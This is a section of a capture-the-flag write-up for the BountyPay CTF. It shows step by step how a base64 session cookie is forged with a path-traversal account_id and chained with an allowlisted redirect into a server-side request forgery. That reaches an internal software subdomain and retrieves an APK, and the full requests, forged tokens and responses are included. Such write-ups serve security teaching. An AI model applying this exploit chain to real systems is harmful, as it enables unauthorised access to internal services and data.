III - Server Side Request Forgery
Once we are logged in there is not much we can do except for loading transactions for our account.

Loading the transactions:
http get https://app.bountypay.h1ctf.com/statements\?month\=02\&year\=2020 \
Cookie:'token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 16:54:38 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
{
"data": "{\"description\":\"Transactions for 2020-02\",\"transactions\":[]}",
"url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=02&year=2020"
}
The response contains two interesting piece of information. The transaction data, our account does not appear to have access to any transactions, and a url
which seems to indicate that the server is actually making a request to api.bountypay.h1ctf.com.
If we look into the JavaScript files we can also see that there is an endpoint that is used to pay transactions:
$(".loadTxns").click(function() {
let t = $('select[name="month"]').val(),
e = $('select[name="year"]').val();
$(".txn-panel").html(""), $.get("/statements?month=" + t + "&year=" + e, function(t) {
if (t.hasOwnProperty("data")) {
let e = JSON.parse(t.data);
if (e.hasOwnProperty("transactions"))
if (0 == e.transactions.length) $(".txn-panel").html('<div class="text-center" style="margin:10px">No Transactions To Process</div>');
else {
let t = "";
t += '<table style="margin:0" class="table"><tr><th>Hacker(s)</th><th class="text-center">Program(s)</th><th class="text-center">Reports(s)</th><th class="text-center">Pay Out</th><th class="text-center">Action</th></tr>', $.each(e.transactions, function(e, s) {
t += "<tr><td>" + s.hackers + '</td><td class="text-center">' + s.programs + '</td><td class="text-center">' + s.reports + '</td><td class="text-center">' + s.amount + '</td><td class="text-center"><a href="/pay/' + s.id + "/" + s.hash + '" class="btn btn-sm btn-success">Pay</a></td></tr>'
}), t += "</table>", $(".txn-panel").html(t)
}
else alert("Invalid Response From The Server")
} else alert("Invalid Response From The Server")
})
});
If we try to guess the id
and hash
for the GET /pay/{id}/{hash}
endpoint we get an error from the server: Invalid payment details
. Let's leave this endpoint for now and focus on the retrieval of transactions.
Looking back at the response for the transaction retrieval request we can assume that the application is making an HTTP request to the url
parameter. After some testing it appears that month
and year
parameter are not vulnerable.
Something we did not check yet is the content of our session cookie:
eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
The beggining of the string eyJ
is characteristic of base64 JSON encoded data. Let's see what's inside:
{
"account_id": "F8gHiqSdpK",
"hash": "de235bffd23df6995ad4e0930baac1a2"
}
We can see that our session cookie contains the account_id
which is present in the URL used to retrieve the transactions. If our assumptions is correct this means that we can manipulate the URL used to retrieve the transactions. Without another account_id
we can't test for IDOR but we might be able to manipulate the request.
If we set the value of the token cookie to ../accounts/F8gHiqSdpK
,we can see that the reponse is identical which means that we currently have an SSRF that is limited to the app.bountypay.h1ctf.com subdomain.
One way to augment the impact of an SSRF is to use an open redirect to be able to target non whitelisted domains or in our case a domain that is not app.bountypay.h1ctf.com. If we look back at the notes taken during the passive reconnaissance phase, there is one feature that might be useful.
On api.bountypay.h1ctf.com there is a link to Google Search that is not a simple link. Let's look at the request:
http get "https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API"
HTTP/1.1 302 Found
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 04 Jun 2020 16:57:33 GMT
Location: https://www.google.com/search?q=REST API
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
The problem is that there is an allowlist which appear to only accept a URL that starts with https://www.google.com/search?q=
. Otherwise we get an error, either URL NOT FOUND IN WHITELIST
or URL must begin with either http:// or https://
.
My initial idea was that if we can bypass the allowlist we could send the request to a server under our control which would allow us to intercept some potentially interesting headers or cookies. After multiple failed attemps it appeared that it was not possible to bypass the allowlist.
If we cannot bypass the controls in place, maybe we can find other urls present in the allowlist. It turns out that both https://staff.bountypay.h1ctf.com/
and https://software.bountypay.h1ctf.com/
are accepted ! Which means that we can bypass the IP restriction on software.bountypay.h1ctf.com.
I ended spending way more time on this step since when I first tested this I did not add the /
at the end of the URL resulting in a URL NOT FOUND IN WHITELIST
error 😢. The cool part is that because of that I went down a rabbit hole thinking that there might an open redirect on www.google.com. Turns out there are some but they were not exploitable since the whitelisted URL needed to end with search?q=.
Let's set ../../redirect?url=https://software.bountypay.h1ctf.com/#
as our account id and see what happens:
{
"account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/",
"hash": "de235bffd23df6995ad4e0930baac1a2"
}
http get https://app.bountypay.h1ctf.com/statements\?month\=02\&year\=2020 \
Cookie:'token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 17:10:40 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
{
"data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage</title>\n <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage</h1>\n <form method=\"post\" action=\"/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login</div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:</label></div>\n <div><input name=\"username\" class=\"form-control\"></div>\n <div style=\"margin-top:7px\"><label>Password:</label></div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n </div>\n </div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n </form>\n </div>\n </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>",
"url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=02&year=2020"
}
The data now contains the HTML content of the software.bountypay.h1ctf index page which is a login form:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Software Storage</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<h1 style="text-align: center">Software Storage</h1>
<form method="post" action="/">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>Username:</label></div>
<div><input name="username" class="form-control"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input name="password" type="password" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
Since our SSRF is pretty limited (we can only do GET requests), the next logical step is to do more enumerations. For this we can use Burp Intruder with Hackvertor to dynamically base64 encode the payload.

The "Directories - short" gives us some interesting results:

It appears that there is an apk in the sources directory. The apk can be retrieved as there are no access control !
http get https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 17:12:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
+-----------------------------------------+
| NOTE: binary data not shown in terminal |
+-----------------------------------------+
Last updated
Was this helpful?